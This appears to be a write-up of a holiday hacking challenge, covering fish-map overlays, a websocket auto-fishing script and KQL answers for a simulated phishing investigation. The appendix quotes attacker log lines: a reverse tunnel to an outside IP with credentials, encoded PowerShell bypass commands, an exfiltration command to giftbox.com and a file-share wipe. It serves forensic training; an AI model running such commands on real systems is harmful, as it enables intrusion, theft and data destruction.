
Objective 21

Camera Access

Gain access to Jack’s camera. What’s the third item on Jack’s TODO list?

Conquer holiday season!

Objective 22

Missile Diversion

Thwart Jack’s evil plan by re-aiming his missile at the Sun.

Objective 23

BONUS! Fishing Guide

Catch twenty different species of fish that live around Geese Islands. When you’re done, report your findings to Poinsettia McMittens on the Island of Misfit Toys.

Objective 24

BONUS! Fishing Mastery

Catch at least one of each species of fish that live around Geese islands. When you’re done, report your findings to Poinsettia McMittens.

We start by re-using the information already discovered in Fishing Guide:

These will come in handy for finding elusive fish species

Using overlays/masks as fishing treasure maps

We used GIMP to photoshop the map of the islands and the heat maps.

First we extract the map of the Islands and collect the image info:

Map

Example: Piscis Cyberneticus Skodo

rare fish map

From the image sizes you can see we have a slight difference in size.

So we will scale up this image to 512x512, and past it as a layer on the world map image:

Menu -> Image -> Scale Image

Copy this image, and paste as a new layer onto our world map (above)

And use colour to alpha to make the black transparent so we can see the map underneath, together with a bright spot indicating where to fish:

Menu -> Colour -> Colour to alpha

lets go fishing

Example 2: The speckled Whisker-Spoon Puffer

Using the same method above, and tweaking the transparency and opacity thresholds, helps indicate where we want to fish:

fish map

Using JS Console to extract data

Using Javascript in the developer console to extract names, and number of unique fish species form the heatmaps URL page

Firefox JS to print number of fish:

var h3Tags = document.querySelectorAll('h3');
var h3Count = h3Tags.length;

console.log('Number of fish:', h3Count);
Number of Fish: 171

Firefox JS to extract and print all fish names:

var h3Tags = document.querySelectorAll('h3');
h3Tags.forEach(function(h3, index) {
  console.log(h3.textContent.trim());
});

Creating the Auto Fisher

Websocket Address

  • wss://2023.holidayhackchallenge.com/sail

chatGPT to write some code

User prompt>

ok, i need some websocket code... the websocket is called websocket, it can send two messages: cast and reel.  the idea is fishing game, cast, casts off, you then await a repsonse, when the json recieves onTheLine="some fish name" not false, we then send the message reel to capture the phish.
the message recieve is e:{"uid":{json response} please factor this into your code

ChatGPT response >

Certainly! Below is a simple JavaScript code snippet using the WebSocket API to implement the fishing game logic you described. It includes handling the 'cast' and 'reel' messages and checking the response for the 'onTheLine' condition:

const WebSocket = require('ws'); // Assuming Node.js environment for WebSocket

const socket = new WebSocket('your_websocket_url'); // Replace with your WebSocket URL

socket.addEventListener('open', () => {
  console.log('WebSocket connection established.');

  // Send the 'cast' action to start fishing
  socket.send('cast');
});

socket.addEventListener('message', (event) => {
  if (event.data.startsWith('e:')) {
    const jsonData = JSON.parse(event.data.slice(2));
    const uid = Object.keys(jsonData)[0]; // Assuming there's a unique identifier (uid) in the JSON

    try {
      if (jsonData[uid] && jsonData[uid]['onTheLine'] && jsonData[uid]['onTheLine'] !== false) {
        const fishName = jsonData[uid]['onTheLine'];
        console.log(`Caught a ${fishName}!`);

        // Send the 'reel' action to capture the fish
        socket.send('reel');
      }
    } catch (error) {
      console.error('Error processing WebSocket message:', error);
    }
  }
});

socket.addEventListener('close', (event) => {
  console.log('WebSocket connection closed:', event.code, event.reason);
});

// Handle errors
socket.addEventListener('error', (error) => {
  console.error('WebSocket encountered an error:', error);
});

After a little human creativity amending the code we can use this smaller code, thats hardcoded to our UserId (UID) and login name:

socket.addEventListener("message", (event) => {
  if (event.data.startsWith("e:")) {
    const jsonData = JSON.parse(event.data.slice(2));
    try{
      if ((jsonData['8141'] && jsonData['8141']['username'] === 'cryptocracker99') && jsonData['8141']['onTheLine']){
        console.log("caught a "+ jsonData['8141']['onTheLine'])
        console.log(jsonData['8141']['fishCaught'].length + "/171");
        socket.send('reel');
      }
      if (jsonData['8141'] && !jsonData['8141']['fishing']){
      	socket.send('cast');
      }
    } catch(error){
      // deal with errors here if we get stuck
    }
  }
});

socket.send('cast');

And watch the fish roll in!

We even managed to catch this rare specimen…

Piscis Cyberneticus Skodo

Appendix

KQL

Onboarding

| summarize TotalScore = sum(Score)

Answer:

  • 112

SANS

Onboarding - How many Craftperson Elf’s are working from laptops?

Employees
| where tolower(hostname) contains "laptop" and role contains "Craftsperson Elf"
| summarize LaptopCount = count(hostname)

Answers:

  • 25

Case 1 Welcome to Operation Giftwrap: Defending the Geese Island network

  • What is the email address of the employee who received this phishing email?
  • What is the email address that was used to send this spear phishing email?
  • What was the subject line used in the spear phishing email?
Email
| where link contains "http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx"
| project recipient, sender, subject

Answers:

  • alabaster_snowball@santaworkshopgeeseislands.org
  • cwombley@gmail.com
  • [EXTERNAL] Invoice foir reindeer food past due

Case 2 Someone got phished! Let’s dig deeper on the victim…

  • What is the role of our victim in the organization?
  • What is the hostname of the victim’s machine?
  • What is the source IP linked to the victim?
Employees
| where email_addr == "alabaster_snowball@santaworkshopgeeseislands.org"
| project role, hostname, ip_addr

Answers:

  • Head Elf
  • Y1US-DESKTOP
  • 10.10.0.4

Case 3 That’s not good. What happened next?

  • What time did Alabaster click on the malicious link?
  • What file is dropped to Alabaster’s machine shortly after he downloads the malicious file?
FileCreationEvents
| where hostname contains "Y1US-DESKTOP" and filename == "MonthlyInvoiceForReindeerFood.docx"
| project timestamp, sha256
  • time = 2023-12-02T10:13:35Z
OutboundNetworkEvents
| where timestamp >= datetime("2023-12-02T10:12:35Z") and src_ip == "10.10.0.4"
|order by timestamp asc
2023-12-02T10:12:42

and

FileCreationEvents
| where hostname contains "Y1US-DESKTOP" and timestamp > datetime("2023-12-02T10:13:35Z")
  • gitwrap.exe (2023-12-02T10:14:21)

Case 4 A compromised host! Time for a deep dive.

  • The attacker created an reverse tunnel connection with the compromised machine. What IP was the connection forwarded to?
  • What is the timestamp when the attackers enumerated network shares on the machine?
  • What was the hostname of the system the attacker moved laterally to?
ProcessEvents
| where timestamp > datetime("2023-12-02T10:13:35Z") and username=="alsnowball"
|order by timestamp asc

Important rows:

2023-12-02T11:11:29
"ligolo" --bind 0.0.0.0:1251 --forward 127.0.0.1:3389 --to 113.37.9.17:22 --username rednose --password falalalala --no-antispoof
2023-12-02T16:51:44 net share command
  • 113.37.9.17
  • 2023-12-02T16:51:44
ProcessEvents
| where timestamp > datetime("2023-12-02T11:11:29Z") and hostname=="Y1US-DESKTOP" and process_commandline contains "owershell"
|order by timestamp asc

Important rows:

2023-12-24T16:07:47
C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -enc KCAndHh0LnRzaUxlY2lOeXRoZ3VhTlxwb3Rrc2VEXDpDIHR4dC50c2lMZWNpTnl0aGd1YU5cbGFjaXRpckNub2lzc2lNXCRjXGVyYWhzZWxpZmVsb1BodHJvTlxcIG1ldEkteXBvQyBjLSBleGUubGxlaHNyZXdvcCcgLXNwbGl0ICcnIHwgJXskX1swXX0pIC1qb2luICcn
powershell.exe -c Copy-Item \\NorthPolefileshare\c$\MissionCritical\NaughtyNiceList.txt C:\Desktop\NaughtyNiceList.txt' (

Base64 decode then… Use to convert charcode to more powershell Decimal-2-ASCII or Cyber Chef

Or even ask chatGPT to decode it.

2023-12-24T15:14:25
cmd.exe /C net use \\NorthPolefileshare\c$ /user:admin AdminPass123
  • NorthPolefileshare

Case 5 A hidden message

  • When was the attacker’s first base64 encoded PowerShell command executed on Alabaster’s machine?
  • What was the name of the file the attacker copied from the fileshare? (This might require some additional decoding)
  • The attacker has likely exfiltrated data from the file share. What domain name was the data exfiltrated to?

Answers:

  • 2023-12-24T16:07:47Z
  • NaughtyNiceList.txt
  • giftbox.com

Case 6 The final step!

  • What is the name of the executable the attackers used in the final malicious command?
  • What was the command line flag used alongside this executable?

From above:

  • 2023-12-24T16:58:43 (decimal to ascii attack )
  • NaughtNiceList.docx (downwithsanta.exe -exfil C:\Desktop\NaughtNiceList.docx \giftbox.com\file)
  • giftbox.com
C:\Windows\System32\powershell.exe -Nop -ExecutionPolicy bypass -enc QzpcV2luZG93c1xTeXN0ZW0zMlxkb3dud2l0aHNhbnRhLmV4ZSAtLXdpcGVhbGwgXFxcXE5vcnRoUG9sZWZpbGVzaGFyZVxcYyQ=

decoded:

C:\Windows\System32\downwithsanta.exe --wipeall \\\\NorthPolefileshare\\c$

Answers:

  • downwithsanta.exe
  • –wipeall

Share on: